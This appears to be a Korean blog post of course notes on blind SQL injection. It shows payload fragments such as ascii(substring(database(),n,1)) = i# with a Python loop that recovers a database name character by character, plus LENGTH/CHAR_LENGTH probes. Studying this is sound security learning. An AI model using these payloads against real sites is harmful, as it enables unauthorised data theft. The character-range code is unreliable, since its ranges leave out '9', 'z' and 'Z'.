대소문자, 숫자, _를 이용해서 DB명을 만들 수 있다.
이때문에 db명을 알아낼 때 ord('a'), ord('z')+1의 범위만으로는 부족하다
데이타의 값 알아내기
for i in range(ord('0'), ord('z')+1):
for문 돌리고
ascii(substring(database(),{count},1)) = {i}#
아스키코드로 database()를 substring으로 잘라 하나씩 비교한다
이 때 대소문자,숫자,특문 구분은
if (i not in range(ord('0'), ord('9')) and
i not in range(ord('a'), ord('z')) and
i not in range(ord('A'), ord('Z')) and
i != ord('_')):
continue
아스키 코드값을 기준으로 전체를 돌리되 해당하는 구간이 아니면 continue하게 했는데 뭔가 코드가 지저분한 것 같아서, 좀 더 좋은 방법이 없을지... 하다가 아래처럼 수정.
ValidList = []
ValidList.append(ord('_'))
ValidList.extend(range(ord('0'), ord('9')))
ValidList.extend(range(ord('a'), ord('z')))
ValidList.extend(range(ord('A'), ord('Z')))
#아래쪽 필요한 곳에서
if i not in ValidList: continue
파이썬에 리스트와 리스트를 추가하려면 extend를 쓰면 된다고 한다.
데이타의 길이 알아내기
LENGTH(database()) = {i}
CHAR_LENGTH(database()) = {i}
=> LENGTH는 바이트수이기 때문에 한글에는 쓸 수 없다
CHAR_LENGTH(=CHARACTER_LENGTH)의 경우 몇개의 문자가 있는지를 가져온다
'안녕'의 경우 LENGTH는 6, CHAR_LENGTH는 2이다
ascii(substring(database(),{count+1},1)) = 0#
=> 이 코드는 DB명에 숫자0이 들어가 있을 때 명확하게 판단할 수 없다
'정보보안' 카테고리의 다른 글
정보보안8 14차시 (0) | 2024.12.28 |
---|---|
정보보안8 12-13차시 (0) | 2024.12.22 |
정보보안8 8차시 (0) | 2024.12.01 |
정보보안8 7차시 (1) | 2024.11.30 |
정보보안8 6차시 (1) | 2024.11.24 |